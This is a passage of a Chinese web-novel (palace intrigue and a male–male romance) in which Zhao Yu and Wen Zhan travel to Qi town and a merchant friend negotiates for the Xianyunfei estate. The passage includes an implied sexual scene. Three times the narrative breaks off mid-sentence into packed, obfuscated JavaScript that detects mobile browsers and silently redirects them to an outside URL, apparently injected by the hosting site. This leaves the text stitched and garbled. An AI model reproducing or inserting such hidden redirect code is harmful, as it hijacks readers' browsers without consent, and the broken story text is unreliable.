楚蔷生并不意外,当年赵毓是被娇宠的皇长子,怎么会做这种事情?他,“不会?他在外这么多年,自己还不会冲茶,平时都有人伺候?” “不是。”赵格非说,“我爹很随性,活的也没有那么精贵。茶水好喝,合口味,他就多喝一口,饭菜可口,他也就多吃一口,如果这些都没有,那么白水干粮也是一天。这些年在西北,他还是喝白水的时候多一些。” “变了,变多了。” 说完,楚蔷生转念一想,也不对。也许赵毓不是变了,而是他其实本来就是这样随性的人。 王公做得,兵痞做得,似乎草民,也做得,还做得有滋有味。 此时老闵过来,“老爷,裴公爷来了。” 一听楚蔷生有正事,赵格非告辞,回她的小院子看书去了。 楚蔷生让老闵将裴檀让到这里来。裴檀过来,看见楚蔷生自己冲茶,见他过来,就用黑釉瓷盛着茶水放在石桌上面。楚蔷生甚至还站起来,像一位真正的亲厚的同僚一般,招呼裴檀,“子乔,坐。”他称呼裴檀的表字,既没有赵毓那样直接称呼他为裴公爷那么远,也没有异常亲近。 裴檀见石桌上一个茶盏上,还有胭脂的痕迹,“方才,有人在这里?” 然而楚蔷生并没有回答,“子乔到我这里,有事?可是随侯石寰的事?” “是。”裴檀也没心情和他说别的,“关于他,你知道多少?” 楚蔷生,“知道的不多。” 裴檀,“这次的事情,我不能对你说太多。现在情势没有显现出来,只是这个时候要是谁不知情被卷进去,以后恐怕很难脱身。” 楚蔷生点头,“好,我知道了。怎么,石侯已经回雍京了?” “他没有回来,他的银子倒是先到雍京了。”裴檀说,“听闻,他的银钱已经送进内阁了,你收了没有?” “我这个门槛不高,却也不低,随侯的东西送不进来。”楚蔷生慢条斯理的冲着茶,“至于内阁其他几位大人,我听说,何隽棠似乎又开始抽羊角风,这一两天未见到人。他总是这样,有事的时候就抽羊角风,无事的时候,身体似乎也很强健。鹿有鸣与左桂清是出了名的清廉自守,每日萝卜白菜度日,不会因为石寰自毁名声。至于危焕,这个人,敢想敢做,我就不知道了。” “危焕。”裴檀点头,“他与石寰似乎还有些渊源。众人以为石寰送银子不过是求个心安,到了三法司询问的时刻,还请同僚们照应一下,所以还有人敢接。” 楚蔷生,“也未见得众人不知道发生了什么。这些人揣摩上意,也许以为圣上为了笼络大臣,不想大开杀戒。此时都是何晋的罪责,石寰的事情还未显影,到时候他提拔的人,他的那些故交,还有血亲姻亲什么的,联名一保,兴许就能过了这个关。” 裴檀,“过关?表面上是原绥靖镇守将军何晋临阵而退、弃城失民的罪责,调随侯进京只是问询,可是圣上已经缴了石寰的兵符,并同时命人将他在外的妾室幼子带回雍京,这可不仅仅是问询了。那些人不了解陛下的心思。” 楚蔷生却说,“没人能了解陛下的心思。” 黄昏时节开始下雨。 此时,赵毓他们距离羡云飞所在的绮镇还有一段路程,也的确不能再赶路了。 他们所在的地方当不当,正不正,向前走是异常崎岖的山路,被雨水浇的泥泞湿滑,一个不留神就会滚落山涧。 需要投宿。 周围不可能有客栈,赵毓看着不远处,一大片树林中有炊烟,还有昏黄的油灯的光。 “打两只野兔,去人家家中借宿一晚。” 赵毓说着,就把腰间带着的弩|箭拿了出来,文湛拦住他。 “你手指伤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他转而一想,如果这家清贫,连多余的菜叶也没有,所有的吃食都精贵都是给人吃的,也许没有多余的东西喂兔子,于是就把方才随意采的野菜叶子也拿给那个小女孩。 他说,“如果没有那些,就在地里挖这个喂它,它也爱吃。” 主人家打开了门,接过已经撤去利箭的两只野兔和那两吊铜钱。 小姑娘则接过赵毓给的兔子和野菜叶。 这家其实没有清贫到赵毓想象的地步,但是也的确是不富裕。他们为赵毓他们烧了热水,准备了一间不大也不太干净的房子,一开门,里面还有一股子霉味。不过赵毓很满足,至少头顶有房顶,不用被雨水浇了。 不一会儿,主人给他们端来两碗野外糊糊。 文湛是真的吃不了这个,只一口,就放下勺子。 赵毓轻声说,“赶了一天路,多吃一口?” 文湛,“没事,我撑得住。” 赵毓叹口气,“其实,……,你这是何必,……” 叩叩。 有人小小敲门的声音。 赵毓过去开门,一见没人,随着眼神向下,看见那个小姑娘站在门外。 “哥哥,给你个鸡蛋。” 她的小手中捧着一个煮熟的鸡蛋。 赵毓蹲下,“这是你娘给你吃的吧,小孩子多吃鸡蛋好,哥哥是大人了,不吃这个。” “不是,是奶奶给哥哥的。”小姑娘指着赵毓的嘴角,“哥哥嘴角破了,用鸡蛋滚滚好的快。还有,谢谢哥哥的小兔子,我喜欢。” “既然这样,那我就收下了。谢谢。” 赵毓是一个全身上下没有一丝攻击气息的人,一向很得小孩子,还有小猫小狗小鸟等各种小动物的喜爱。 那个小姑娘见鸡蛋送到,就转身跑掉了。 赵毓拿着鸡蛋给文湛,“你吃了吧。” 文湛接过去坐在那个快要散架的木桌旁边开始剥鸡蛋。 他是一个极其心细的人,玉白色的手指将鸡蛋上的薄壳一点一点剥落,一丝不紊。 当年赵毓还小,每年端午在东宫吃的粽子都是文湛给剥开。那个时候文湛剥粽子也是这样,绿色的芦苇叶子与莹白色的米粒一丝一丝分离,没有一星半点的粘连,不像赵毓自己,扒开粽子总是将手指弄的脏脏的,最后还需要一根一根舔干净。 文湛剥好了鸡蛋,递到赵毓嘴边,“你胃寒,晚上胃不能空,吃吧。” “我们一人一半?” “不用。” 文湛将鸡蛋喂到赵毓嘴中。 好像,他们两个吃饭就一直是这个样子。 赵毓喜欢吃的东西,文湛就全给他,然后从他碗中挑走他不爱吃的东西放在自己碗中。 “只要你爱吃,就好。” 37. 37 37 大郑千年盛世,农工兴旺,商贸繁华。 天下商会林林总总,不知凡几,江南十三行领袖群雄,唯一能分它几分颜色的只有西北道。 掌灯前,薛宣平接到西北道老大萧呈的秘密消息,——西北道要吃下羡云飞。 他连忙从有间茶叶铺去留园。 其实他早知道赵毓已经出城去了绮镇,他这次是去找赵毓的账房,结果扑了个空,仔细问了这才知道,赵毓的账房已经去了绮镇。 “兔崽子,属狗的,鼻子灵啊!” 因为这里面有重大干系,薛宣平带了几个人,骑着马就顺着管道追赵毓。 他们比赵毓晚了几乎一天出门,于是冒着大雨赶了一夜的路,实在撑不住了,才在终将进入崎岖山路之前止步。前面是深渊山涧,此时已经是黎明,鸡叫了三遍。薛宣平勒住缰绳,他们左边是密林,不远处有一户人家,清晨已经开始做饭,有炊烟升起。 “找半条羊腿,再加上两吊铜钱,咱们找人家借锅灶做饭。” 薛宣平说完下马,没走几步,他的伙计指着树下悠然吃草的两匹骏马叫了一句,“那是赵先生的马!” “这的确是老赵的马,另外一匹是谁的?” 薛宣平仔细看了看,心想,这一匹似乎比老赵的马还要好!老赵的马没有下过一千两的,这匹估计要数倍于老赵马的价钱,邪门了。 这家主人接过薛宣平递过来的羊腿和铜钱,心中犯了一阵低估。他不知道这两天走了什么运,尽是遇到送吃食外加铜钱来借宿借锅灶的好人。于是,连忙让出院子中搭的大锅,让人家烧火做饭吃。 赵毓看到薛宣平很是意外。 “老薛,你这是出嫁啊,还是奔丧?” “先吃饭,我现在饿的没劲跟你说话。” 薛宣平让带着的伙计赶紧烧水,将自己带着的熟牛肉放进锅中熬煮,等待汤汁泛起,这才加入自己带来的干烤饼,熬成了一锅香气四溢的牛肉汤饼。他让伙计盛了一大碗给这家的主人送去,随即招呼赵毓自己来吃。 他自己则端了一大碗蹲在井台旁边,大口呲溜起来。 文湛在河边用青盐漱口,回来收拾东西。 薛宣平从大碗中抬头看了看赵毓,又看了看文湛,再看了看赵毓的嘴角。 赵毓也饿了,只是一大清早实在没有薛宣平这般能把老子娘吃穷了的好胃口,他只能捞了一碗汤外加一块牛肉,慢慢的喝着。 薛宣平一边吃,嘴巴还不忘记说话,“你身边有人,那小子,翰林院的?他身上的衣服看着一般,却是极好的料子,还有那股子书卷气和清贵气挡都挡不住,怎么看都像翰林院的。我看人只用三眼,绝对没差!我说老赵,当年咱们回雍京销货的时候遇到过一个翰林院的小子,你当时看人家的眼神都是斜的,我还以为你不喜欢翰林院那帮人的酸文假醋,原来是没遇到过俊的。” 赵毓听着就是一皱眉,“胡说八道些什么?” “得了吧。”薛宣平刚吞下一口饼,一脸满足,“平时我还以为你多正经呢,原来也是个好色鬼,见个长的真俊的也是迈不开腿。” “再胡说,小心我用马鞭抽你。”赵毓把碗往草地上一放,也蹲下,“你来做什么?” “我还要问你,你为什么把账房打发去了绮镇?” “你当时不是给我看了石慎所有的消息吗?我发现他们家的银钱往来有些奇怪。他们家,凡是挂着他家老爹随侯石寰名头的庄子,那些钱好像都是老侯爷自己控制,现在是他四年前纳的妾来控制;而石慎所能控制的只有他娘的陪嫁,当然,侯夫人也是名门闺秀,这些年的产业比老侯爷只多不少。这次他去绮镇羡云飞,这个庄子就是侯夫人的东西,我想着他最近折腾的动静挺大的,也许手头紧一些,需要银钱,我看看自己能不能捡捡漏。” “要不我说你是猎狗,你的鼻子真灵,狗都比不过你。”薛宣平凑到赵毓耳边说,“你知道这次我去绮镇为什么?西北道萧呈传了话过来,羡云飞全部产业要出手,就是暗地里给了西北道,萧呈这次能拿到的价格是六成。西北道用这个价格吃下,直接转手就能赚个大的。” “六成?石慎疯了?” “他好的呢!老赵,我得了个秘信儿,石慎的老爹随侯石寰是被缴了兵符,明面上回京述职,实际上已经被押解回京。要是随侯被当今圣上问了罪,抄家令一下,羡云飞就是逆产,那个时候可就一文不值了。再说,我还知道,石家侯爷现在满雍京城撒钱,估计他们爷俩手中都紧了。这不,倒腾庄子换些现银。” 此时,文湛收拾好东西走出来。 他看见赵毓同一个好像土墩一样的胖子在井台边上蹲着,正在耳语,不知道说什么。 而赵毓听着那个胖子说话,也是向他这边看了一眼。 赵毓转了眼神,看着薛宣平,“逆产你们也敢要,这种钱你们也敢赚?” “得了,老赵,别回雍京几天就学得像个三贞九烈的扛着贞节牌坊的良家妇人,说的好像这种钱你没赚过一样。”薛宣平不以为然,“我们只要一个月就能找到下家,到时候神不知鬼不觉的转手,这笔银子稳赚不赔。” “要是石慎爷俩撑不住一个月,你们可就陷进去了。” “不能吧。随侯那是藩镇,在北疆还自封为战神,石慎是圣旨册封的世子,名字写在大郑三十二侯府的名碟上,这爷俩在当今天子手下都撑不过一个月?” 赵毓没说话。 薛宣平又说,“不到一个月也没事。我听萧呈的意思,他现在好像手边就有人想要接手羡云飞,只是那个人身份太显赫,目前不适宜出面。我们六成接手,到时候就算再加一成转手也合适。” 赵毓,“那更糟糕。你不怕那个身份显赫的下家,到时候把你们一锅烩了?那个人既然敢在这个时候要羡云飞就必定是个狠人,等石家一出事家产抄没,羡云飞成为逆产,他再说你们买卖逆产,把你们也一并抓了下大狱,到时候,他一分不花也能直接接手羡云飞。” 薛宣平有些嘀咕,“不能吧,黑吃黑能狠成这样?” 赵毓,“前些年,景川侯府的小公子看中了一户人家祖传的檀木屏风,愣是逼死了人家祖孙三代,最后将那家唯一留下的小孙女和那个屏风一并买进侯府。这种事,雍京北城的人做的出来,也做的多了。” “而且,……” “萧呈的大儿子回来了吧?” 薛宣平不知道赵毓为什么转过来问这事,“活着从瓜州回来了,萧家小子有出息,现在是六品游击了,就在定国公裴檀麾下,那可是王师中的嫡系,前途无量。” 赵毓点头,“儿子前途这么好,老萧不应该再弄这么一出。石慎那种人这个时候以这个价钱出手羡云飞,我怀疑他同萧呈还有交易。说不定这个价钱背后再加上一条,萧呈动用西北道的一切力量,帮石慎安排退路。” 薛宣平开始犹豫,“那你说怎么着?这事就推了?那可是羡云飞!我听说了,那是仿照祈王府修的园子,外面还有成片的上好水浇地和马场。老赵你不知道,祈王府有几道木门,正经的黑檀木,现在坊间一个檀木小匣子就值一千两,那几扇木门当年就价值三十万两白银,现在还不知道是个什么价。羡云飞是按照祈王府一点一点修的,听说那里也有几道檀木门,不说别的,就算整个羡云飞都是逆产,咱们卸门扛走也合适。” 赵毓,“既然这样,你还不如去买祈王府!” 薛宣平,“我倒是想买,人家也得卖!祈王府现在不还封着吗?说实话,有心人早就盯着祈王府呢,听说里面尽是稀世之珍,要是有幸弄到一件半件的,咱们就发达了。” 赵毓没仔细听,他想的是另外的事情。 ——石慎想要安排退路,这个忙,他倒是可以帮上一帮。 于是,赵毓说,“老薛,帮个忙。你去同石慎的人说,羡云飞不要通过西北道了,你一个人买下,价格再上半成,六成五,同时,你可以答应他们任何要求。” “什么?”薛宣平嘴里面的牛肉差点掉下,“我哪有那么多钱?” 赵毓,“十三行的周熙在绮镇有茶行,它们做汇银的买卖。我在周熙那边有存银,也有些脸面,可以动用自己的银子,也可以拆借。石家肯定要订金,他们要多少钱,你从周熙茶行取多少。一定要快,这事我不能出面,他们认得我,只有你才能帮我。” 薛宣平没想到赵毓家底这么厚,“石家能信我?” 赵毓,“萧呈那个人太谨慎,他就算能答应石慎以六成的现银买羡云飞,可是他未必肯松口帮石慎安排退路,当然,他一定会答应石慎的要求只是要拖得久一些。 他能拖,石慎未必敢等,这个时候你出现,升一些价格,一口答应他的任何要求,追着他买,石慎应该会偏向你这边。 要是石慎还犹豫,你可以明说,要是羡云飞不卖给你,赵毓就算钻山打洞也会从西北道手里买羡云飞。 还有,你还告诉他,西北道背后有大买家,就等他们石家抄家,整个家产打成逆产之后一分不花直接接手。 我估摸着,这三管齐下,石慎应该能出手了。” 绮镇。 崇山环绕,易守难攻,风水极佳,千年以来风调雨顺,五谷丰登。 这里是军事重镇也是粮仓,再向北快马走一天就驻有重兵,雍京北部第一道门户,镇守将军是天子心腹燕遂宁。 赵毓他们到达绮镇已经是午后,随后他去了一趟周熙在绮镇的茶庄,留下同留给薛宣平一模一样的盖了印鉴的汇票。他不用再做什么,直接等老薛上门提银子就好。文湛牵着马,赵毓跟着他在街上走了一圈,发现这里安宁、闲适,热闹,一点也没有羡云飞即将到来的狂风暴雨的阴暗。 赵毓忽然问文湛,“石慎见过你吗?” 文湛点头,“见过,但应该不够真切。他是世子不是随侯,身上的官阶也不够高,并没有君前奏对的资格,他能见我的场合就是大朝会和一些大典、祭祀,那个时候他可以远远站着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728895|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他们这么慢慢逛着,不知觉天色已暗。 最近雨水多,夜里来的早。 赵毓挑了一间最好的客栈,包了整个后院,清净又舒适。 “最近来绮镇的人应该特别杂,咱们两个越少越晚露面越好。” 店家抬来热水让他们沐浴洗漱,再换上带来的干净衣服,一切收拾妥当,这才找了一家人来人往的馆子吃饭。这一天半赵毓还算吃了一些东西,文湛几乎一口东西没有吃,怕他饿得久了吃东西不舒服,赵毓要了汤水和米粥,让他先吃点暖暖胃,再点了四凉四热,外加粳米饭和一壶青白色的米酒。 期间还来一个唱曲陪酒的游昌,赵毓见她装扮的清爽,真就听她唱了一曲, “春|色初来,遍拆红芳千万树,流莺粉蝶斗翻飞。 恋香枝。 劝君莫惜缕金衣。把酒看花须强饮,明朝后日渐离披。 惜芳时。” 那女子见赵毓他们也无意做别的事情,就领着赏钱走人了。 外面好像又要下雨。 赵毓他们在酒楼的二层,隔着烟雾蒙蒙隔着帘子就能看见远处那座恢弘的庄园。 羡云飞正门也同祈王府一般,硬是比周围高出几个台阶,只是周围并不如王府那般清爽。祈王府周围不允许任何比它墙面高的东西存在,不要说房屋,就是树都砍干净了,四周清静到光秃秃,只能凸显出王府那朱红色的墙上黑色的琉璃瓦,直刺云端。羡云飞自然也不敢用朱墙黑瓦,用的是一般的青砖青瓦,登时少了那种强硬的气度,而多了一些怡然。 “你说,随侯夫人的老爹是怎么想的,为什么会在这个地方修这么一个庄子?他对一百多年的沈大司马如此敬仰吗?” “不知道。”文湛对于一些不重要的事情,向来没有兴趣。 “原来我以为这个庄子是侯夫人给吉王妃的陪嫁,看样子,这么好的东西还是不能给闺女,留给世子关键时候还能换现银救命。一家人,平时都是你好我好,要命的时候才能看清楚远近亲疏。只是不知道侯夫人有没有想过,这个庄子给了王妃也许就能留下来了。” 文湛细细咀嚼,慢慢将饭菜咽下,这才似乎有功夫扭头看了一眼远处的羡云飞。 他没说话。 石慎的事情牵扯有些大,至于’这个庄子给了王妃做陪嫁是否能保留’后面是这次事情是否牵扯吉王妃,甚至是否牵扯吉王,这些话,文湛更不能说,同谁都不能讲。如果他讲给承怡听,承怡本身就是局中人,听到他说的话就会被牵扯,是避嫌还是按照心意做事都需要权衡,很麻烦,所以很多东西,只能文湛自己扛。 赵毓也没有想着他回答,就是自言自语的随便说说。 “文湛,我娘他,最近怎么样?” “直到我出宫门的时候,她还不错。这段时间好像也爱上了修仙打醮,全套天罡四十八路礼拜打下来,能比平时多吃半碗白饭。” 赵毓听着就乐。 “老爹当年是想着我也过吉王叔那样的日子。我们从小一起长大,在东宫一起读书,你当主子以后也不会对我苛刻。我人笨,能惹小麻烦,惹不出大|麻烦,你也不会特别烦我,也就给我一个平时烧香烧猪祭天的差事。我娘可以跟着我住王府,估计她也过成这样,每天吃饱了就做些无聊的事情,弄的胃口好一些就多吃些东西。我们逢年过节的时候在宫里能见一面,渐渐的,你就去成就你不世帝业去了,我继续混着,我们就逐渐疏远了。千秋万代之后,你的名字或许可以彪炳史册,却不会有人记得我是谁,我娘是谁,我爹又是谁。老爹就可以把我的名字安宁的埋在故纸堆中,我爹的事情,他们的事情,也都成了灰烬。多好。” 文湛放下碗筷。 “当年的事,父皇那样对你,我又对你不好,……” “没事,都过去了。” “承怡,如果不是父皇,我当年提的婚事,你会答应吗?” “不会。”赵毓摇头,“你真的要把我从大正门抬进去吗?可是我生于斯长于斯,根就在那儿,什么算进,什么算出?” 外面果然开始下雨。 他们回去的时候,赵毓从急忙收拾的小摊上买了一把油纸伞,他们两个共撑一把伞,回到客栈,两个人的衣衫都湿了一半。 店家赶紧又烧热水,他们洗了一身的湿冷,拿着衣服让店家浆洗。 夜晚,关上门窗,外面噼里啪啦的。 文湛拿过自己干净的衣袍垫在赵毓身下,抬手从行囊中取了带着的雪莲秘药,一点一点的开始揉赵毓。这一次,他极其有耐心,…… 夜深人静。 文湛起身的时候,赵毓有些发抖,只能眼见着文湛拿了水和布巾过来为他清理,随后扯走了一直垫在他身下的衣袍。 “晚上换不了新的寝具,弄脏了,你睡不踏实。” 全部收拾好,熄了烛火,文湛又躺过来,扯过被子裹住他们两个。 “都干净了,睡吧,这次能睡踏实。” 38. 38 38 一夜暴雨,直到清晨方停歇。 赵毓睁开眼睛,窗外是灰暗的,看什么都不清朗,其实他也看不见什么。文湛就睡在他外面,一直搂着他,用肩膀挡住他的视线。 当年也是这样。 少年时毫无克制的贪欢,雨夜过后的清晨本来就昏暗,醒的晚,睡的长久,文湛也是这样卷着他躺着,手掌撑开,无意识的摩挲着他的后脑与脖子,他也是这样看着他。 薛宣平说文湛长的真的俊,其实赵毓一直知道的。 从小文湛是个小包子,后来就是一颗明珠。 只要他在那里,象征着大郑王朝主宰的垂十二道白玉珠旒冠,华美的缂丝龙袍,镌刻着蔓藤莲花的宫殿,价值连城的稀世之珍尽成沙土。 赵毓醒了,他感觉有些饿,轻手轻脚起来,只是他刚坐起来,就看见文湛也醒了,手臂下意识的摸了摸身边,无人,随即他一下子坐直了,只是还没有睡醒,眼睛还有些模糊。 “你,……” “我有点饿,出去拿些吃的。” 文湛伸出手,搭在赵毓的肩上,没让他动,然后用自己的额头轻轻抵住赵毓的额头,闭上眼睛安静的待了一会儿,醒了醒神,这才下床穿衣穿鞋子,用发带随意束了一下头发。 “你再躺一会儿,我去拿。” “没事儿,还是我去吧。” “既然我在这里陪着你,这些事情都不用你做。” 赵毓看着他出门,不一会儿,文湛端了一个木盘子,里面是两碗清粥,还有一碟新出笼的包子,热气腾腾。 赵毓已经穿好了衣服,文湛过来,蹲下,给他穿鞋子。 “能下床吗?” “呃,……,没事。” 文湛扶他,赵毓开始乐,“我真没事儿。” 木桌前面,文湛愣说椅子太硬,一把将赵毓扯过来,让他坐在自己腿上,而他的双手揽着赵毓的腰,放在桌面上,从碟子中拿过一个包子,掰开,放在赵毓嘴边。 “不是饿了吗?” 赵毓张嘴,吃了下去,这是绮镇的特产,野菜馅的肉包,有一种泥土清爽的味道。 文湛给自己也掰了一块,放进嘴中,慢慢嚼着。 他的头发没有扎严整,微微低着头,额头上垂下一缕发丝,那双鸦翅一般的眉让人显出一种不可描述的俊秀。 薛宣平说他自己看人准,在文湛这里却走了眼,他说文湛是翰林院的,……,也许,老薛看人还是准的。 文湛是生于深宫之中的太子,守成的君主,没有大郑开国皇帝那种悍气与骁勇善战。 这两天在外的风餐露宿,暴雨浇淋,冲散了他身上那股犹如瑰奢的浓重香气,布衫长袍也让他褪去了黑色缂丝龙袍带来的锋利坚硬的气度,最后,他剩下的竟然是一股浓浓的书卷气。 然而,他并没有那种文人墨客看似洒脱其实是政治上不得志的自我放纵与沉迷,所以,在薛宣平看来,文湛的气度中还有最后一种底色,就是清贵。 所以,以薛宣平的见识,只能想到他眼中的文湛是翰林院的人。 “当年你开府建牙,从禁宫离开,什么人也没有带,身边只有黄枞菖,他也不会烧水做饭。那天早上我去你的新王府,你吃的第一顿饭也是一碟包子,似乎就是外面买来的,不好看,看着也不好吃。” “呃……”赵毓仔细想了想,愣是没想起来。这些年他过的不太容易,忘记了很多事,“多久的事了,我不记得了。” 文湛,“我记得,你的事情我都记得。” 赵毓又吃了一口包子。 文湛,“那天,其实我只想去看看你在新王府过的怎么样,结果你一直躲着我,连正眼都没给一个。” 赵毓,“你知道我人笨,记性不好,别翻旧账了。” “不是。”文湛又喂了他一口,“这些年我想着,如果我比你年长几岁就好了,和你相处的时候就会宽容,不会那么伤人,而且,在你长大动心的时候,也能看到我。” 赵毓,“我没有那么好,如果你真年长几岁也许会遇到很好的人,不会受这么多年的苦。原来看你照顾越筝,……,雍王的时候,我就知道你会是个好父亲,如果有天赐的美满情缘,也会是个好丈夫。只是,……” 文湛,“什么?” 赵毓,“只是我有些奇怪,先帝与先皇后相处简直就是相敬如冰,我以为你也会变成那样的人。” “相敬如冰?”文湛轻语,“不如说他们之间只有权力的争斗,利益的搏杀。也许是物极必反,我不想成为他们那样的人。如果连自己枕边人都无法信任,王座之旁,微音殿上,人尽可杀。” 文湛说完,用勺子盛了米粥,自己试了试温度,又喂了赵毓一口。 “如果我是兄长,也许,还可以教你写写字,练练剑,我应该会温和宽容的。” “写字?那你绝对宽容不了。楚蔷生那么强悍的修为为了教我写字把我手心都打肿了好几回。只是,他的字实在是太好,我依葫芦画瓢学个一成半成的,勉强能看。” 文湛没有抬眼说话,“左相大人的字倒是不错,就是字体外表看起来过于妍媚纤柔,一般人如果没有他那种刚强如刀的性子,只学了皮毛,写出来的东西没有精魂就太软也太散。你就是,这样的毛病抹不掉。” 赵毓叹口气,“陛下,您说过,您可是肚子中有整个运河码头的人啊。” 石慎站在沧浪亭,看着整个羡云飞。 这里埋葬了很多东西。 他第一只兔子,第一本诗集,还有第一个动心的女孩子。 那只兔子是他娘给他的,随侯逼迫自己亲手斩杀,他不能玩物丧志,因为他是世子;那本诗集是他写来展怀抒情的,随侯亲手烧毁,他不能沉迷于这些文人墨客的游戏,因为他是世子;那个姑娘是佃户的女儿,清秀温暖,随侯用自己的侯府卫队一个一个的毁了他,他亲手杀了那个姑娘和所有参与的人结束一切,他不能沉迷于女色,因为他是世子。 现在,那个姑娘就埋在曼陀罗花馆后面的梅花林中。 绮镇太冷,种不了茶花,不能像真正的祈王府那样,在曼陀罗花馆后面栽上十亩茶花。 石慎不知道赵毓在那座与这里格局几乎一样却是朱墙黑瓦的王府里面是否也有一切被埋葬的东西,不过他知道,羡云飞对于他就像王府对于赵毓一样,他们终将失去这里,还有这里的一切。 “世子。”有人来报,“西北道的买家到了。” 石慎现在不能露面,那位买家与他的管家面谈,而他则坐在一座屏风之后。 “先生不是西北道萧呈萧先生。” “我当然不是。在下薛宣平,人嘛倒也是西北道的人,却不是老大萧呈。这次我来只是为了一件事。大总管,既然羡云飞要出手,那自然价高者得。我在您原本出价的基础上再加上半成,另外,世子或者是您还有别的任何要求,我一律满足。” “好大的口气。” “当然。您也知道,我们西北道能同树大根深的江南十三行分庭抗礼,不是因为我们做生意规规矩矩,而是因为我们野。人野,路子野。西北道什么货都敢吃,也什么货都出的了手。” 管家喝了一口茶。 薛宣平拿出周熙茶行的银票,“如果大管家您有这个意愿,这是订金,您帮我把羡云飞的地契准备好,三天后,我将剩余的款子一并带来,到时候我们银货两讫。” “薛先生好魄力,您怎么知道我一定应允您?” 薛宣平,“我知道您着急。其实您挺想等萧老大给您回话的,可惜,他现在人到了绮镇,人却不来见您,想必是想再等等看,价格上是否还有可谈的余地。另外,赵毓也到了绮镇,他也想要羡云飞,不知道管家先生可知道,这位赵毓同世子倒是交情匪浅,就是不知道世子愿不愿意将自家百年的基业给赵毓?还有,我听说,萧老大背后还有一个大人物也想要羡云飞,这个人出手狠,人家有可能想等这里坏了大事之后,空手套白狼。” 砰! 管家手有些滑,茶碗差点没拿住。 薛宣平照着赵毓教的说了,他眼见着这个管家有些露马脚,向前探了身子,显得很主动,也很虔诚。 “管家,您将我的话问问世子,看看世子爷的意思?” “这个事情不用再问世子。”管家放下茶碗,“这里交由我处理。薛先生,您的诚意我了解,既然您应允,只要给您羡云飞您什么条件都能满足,那么我就直说了,不知道这件事情您能不能做到?” …… 从羡云飞出来,薛宣平直接去找赵毓。 薛宣平在一家临街的茶铺看到赵毓,他正在同自己留园的账房说话。与此同时,赵毓身边还坐着上次在密林中见到的那个人。——晃眼,真晃眼! 上次林中昏暗看不出什么来,就是觉得他清秀俊美到不可言表,如今大太阳下面一照,这个人长得像一箱子埋在深坑的宝藏! 黄金玉石夜明珠,翡翠珊瑚琥玻宫。 薛宣平觉得赵毓这个人邪性,别的不说,只说他身边这个人的这张脸,就不是凡人能消受的。 “老赵,我带了羡云飞大总管的口信了。”薛宣平人胖大,走了一路口干舌燥,他看见赵毓用两个海碗给他凉了茶水,连忙端起来喝了,顺了口气,才说,“人家说了,给你羡云飞,可以,只是人家要现银。” “现银?”赵毓的手指摸了摸下巴。 “老赵,你说他们是不是看咱们用的是周熙的银票,所以不出手了?” “不会。”赵毓摇头,“十三行钱庄汇通天下,他们的银票是香饽饽,不是烫手山芋。” 薛宣平,“你说,他们会不会想要逃跑?换了现银路上带着方便?” 赵毓撇嘴,“几十万两的现银需要一队马车押运,不好搬也不好收。如果真要逃跑,应该全部换成黄金,好带。” 薛宣平,“咱们给他调现银去?十三行周老板的茶庄有这些银子吗?” 赵毓,“那里的存银我估摸着不足十万两。再说,咱们调用人家那么多现银,万一有人作梗,发动存户来了挤兑,可就害人了。” 薛宣平,“你想怎么着?” 赵毓起身,放了一点碎银子在桌面上,“走,咱们去一趟周熙的茶庄。” 周熙的茶庄就在太平大街上。 青砖青瓦,外表朴素,内有乾坤。 赵毓报了名字,不一会儿,茶庄的大掌柜陈三龙亲自迎了出来。 陈掌柜,“赵先生,有日子没见了,您这一向可好?” 他说话之间,瞥了一眼赵毓身边的人,留园的账房他认识,另外是一个薛宣平,也是过来拿银票的人,他也认识,至于最后那一位,他不认识,也的确看不清楚底细。不过,既然赵毓什么都没说,他自然也是不问。 赵毓,“老陈?你在这里?昨天我过来的时候没见到你!” 陈掌柜,“我知道您昨天来过,昨晚就听店里的伙计说了。我老婆带着儿子来雍京的学馆读书,我过去了一趟,看看他们,也是昨天夜里刚从雍京城回来。” 赵毓,“抛家舍业的也挺不容易,我您这里的伙计好,看着都像是你们永嘉带过来的人。他们的家眷没过来?” 陈掌柜,“十三行的规矩,伙计在外不带家眷。咱们十三行的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728896|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人生生世世吃的都是这行饭。孩子发蒙开始就要学算盘学生意学规矩,如果被父辈带在外面,心散了,人也散了,不好教。” 赵毓听着点头,“也对。” 陈掌柜,“赵先生,您的事情我们肯定办。今天您亲自再过来一趟,不会是茶庄给的银票有问题?还是,您想要现银?” 赵毓看了他一眼。 陈三龙说,“不瞒您说,想必您也算得出来,我们这里的存银不足八万两,如果您需要现银,我们要从雍京城的银库给您调,再请镖局押送,至少需要半个月。您等的及吗?” 赵毓,“不是。我来,是别的事情想要和你商量一下。” 陈三龙将赵毓他们让到后面的主堂,院子中栽种着白花绿树,遮云蔽日。这里挖了水面,还做了假山,山顶不高不低,那里有一个凉亭。 “赵先生,咱们到亭子中,这两天暑热,别招了热病。” 赵毓他们来到亭子,才发现这里与众不同。 